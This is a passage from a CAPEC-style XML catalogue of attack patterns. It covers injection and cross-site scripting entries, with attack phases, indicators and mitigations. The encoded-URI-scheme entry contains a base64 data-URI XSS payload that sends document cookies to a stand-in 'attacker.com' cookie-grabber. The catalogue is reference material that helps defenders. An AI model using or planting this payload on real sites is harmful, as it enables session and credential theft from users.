					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>733<!--Compiler Optimization Removal or Modification of Security-critical Code--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Input validation and filtering logic should fail securely (vault doors are
						closed)</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>All input should be treated as rejected by default, unless explicitly
						allowed by the filter. Thus if the filter fails before "blessing" the data,
						it will be rejected.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>C</Language>
					<Language>C++</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="240" Name="Resource Injection" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="241" Name="Code Injection" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>240<!--Resource Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="242" Name="Script Injection" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="243" Name="Cross-Site Scripting in Attributes"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker inserts commands to perform cross-site scripting (XSS)
						actions in HTML attributes. Many filters do not adequately sanitize
						attributes against the presence of potentially dangerous commands even if
						they adequately sanitize tags. For example, dangerous expressions could be
						inserted into a style attribute in an anchor tag, resulting in the execution
						of malicious code when the resulting page is rendered. If a victim is
						tricked into viewing the rendered page the attack proceeds like a normal XSS
						attack, possibly resulting in the loss of sensitive cookies or other
						malicious activities.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must fail to adequately sanitize HTML attributes
						against the presence of dangerous commands.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must trick the victim into following a crafted link to a
					vulnerable server or view a web post where the dangerous commands are
					executed.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use libraries and templates that minimize unfiltered input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Normalize, filter and white list all input including that
						which is not expected to have any scripting content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: The victim should configure the browser to minimize active
						content from untrusted sources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>83<!--Improper Neutralization of Script in Attributes in a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//jeremiahgrossman.blogspot.com/2007/07/attribute-based-cross-site-scripting.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="244" Name="Cross-Site Scripting via Encoded URI Schemes "
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits the ability of most browsers to interpret
						“data”, “javascript” or other URI schemes as client-side executable content
						placeholders. This attack consists of passing a malicious URI in an anchor
						tag HREF attribute or any other similar attributes in other HTML tags. Such
						malicious URI contains, for example, a base64 encoded HTML content with an
						embedded cross-site scripting payload. The attack is executed when the
						browser interprets the malicious content i.e., for example, when the victim
						clicks on the malicious link. </Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the
											application:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the links he finds.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web application.
												Make special note of any links that include
												parameters in the URL. Manual traversal of this
												type is frequently necessary to identify forms
												that are GET method forms rather than POST
												forms.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browser's plugins are available to facilitate the
												analysis or automate the URL discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>URL parameters are used by the application
												or the browser (DOM) in a context that is
												originally used for storing URL (anchor’s “href”,
												script’s “src”, etc.)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear on the URL. Even though
												none appear, the web application may still use
												them if they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt injection payload variations on
											input parameters:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Possibly using an automated tool, an attacker
												requests variations on the inputs he surveyed
												before. He sends parameters that include variations
												of payloads. He records all the responses from the
												server that include unmodified versions of his
												script.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a list of XSS probe strings using
												different URI schemes to inject in parameters of
												known URLs. If possible, the probe strings contain
												a unique identifier to trace the injected string
												back to the entry point.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of XSS probes in known URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Input parameters are printed back in a URL
												placeholder that support different URI schemes
												such as HREF, SRC, and other attributes</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Nothing is returned to the web page. The
												payload may be a stored to be served later. The
												unique identifier from the probe helps to trace
												the flow of the possible XSS</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's cross-site
												scripting string is included in the URI scheme
												content and can be triggered by a user (a victim
												in this case).</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Custom URI scheme aren’t
												allowed by the application</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are
												not</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers, application servers, and other HTTP
												infrastructure (e.g., load balancers). Alert on
												standard XSS probes. The majority of attackers use
												well known strings to check for vulnerabilities.
												Use the same vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not embed
												user-controllable input generated HTTP
												headers</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor server logs
												for scripting parameters.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description> Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is illegitimate.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description> Apply appropriate
												input validation to filter all user-controllable
												input of scripting syntax
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description> Appropriately encode
												all browser output to avoid scripting syntax
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description> Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor server logs
												for scripting parameters.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description> Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is illegitimate.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description> Apply appropriate
												input validation to filter all user-controllable
												input of scripting syntax
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description> Appropriately encode
												all browser output to avoid scripting syntax
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description> Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor server logs
												for scripting parameters.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description> Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is illegitimate.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description> Apply appropriate
												input validation to filter all user-controllable
												input of scripting syntax
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description> Appropriately encode
												all browser output to avoid scripting syntax
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description> Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> Target client software must allow scripting such as JavaScript and allows
						executable content delivered using a data URI scheme.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following payload
							data:text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==
							represents a base64 encoded HTML and uses the data URI scheme to deliver
							it to the browser. The decoded payload is the following piece of HTML
							code: &lt;html&gt;&lt;body&gt;&lt;script&gt;var img = new Image();
							img.src = &quot;http://attacker.com/cookiegrabber?&quot;+
							encodeURIComponent(document.cookies);&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;
							Web applications that take user controlled inputs and reflect them in
							URI HTML placeholder without a proper validation are at risk for such an
							attack. An attacker could inject the previous payload that would be
							placed in a URI placeholder (for example in the anchor tag HREF
							attribute): &lt;a href=&quot;INJECTION_POINT&quot;&gt;My Link&lt;/a&gt;
							Once the victim clicks on the link, the browser will decode and execute
							the content from the payload. This will result on the execution of the
							cross-site scripting attack. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To inject the malicious payload in a web page</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send HTTP request to a web application</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content coming from the client is using the
						same encoding; if not, the server-side application must canonicalize the
						data before applying any filtering.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content, including
						remote and user-generated content</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as JavaScript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Any HTTP Request transport variables (GET, POST, Headers, etc.)</Text>
			</Injection_Vector>
			<Payload>
				<Text>XSS malicious script leveraging URI schemes</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client web browser where script is executed</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Client web browser may be used to steal session data, passwords, cookies,
						and other tokens.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Failure to Preserve Web Page Structure (aka 'Cross-site Scripting') -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>84<!--Failure to Resolve Encoded URI Schemes in a Web Page -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>85<!--Doubled Character XSS Manipulations -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Failure to Sanitize Invalid Characters in Identifiers in Web Pages -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store' -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
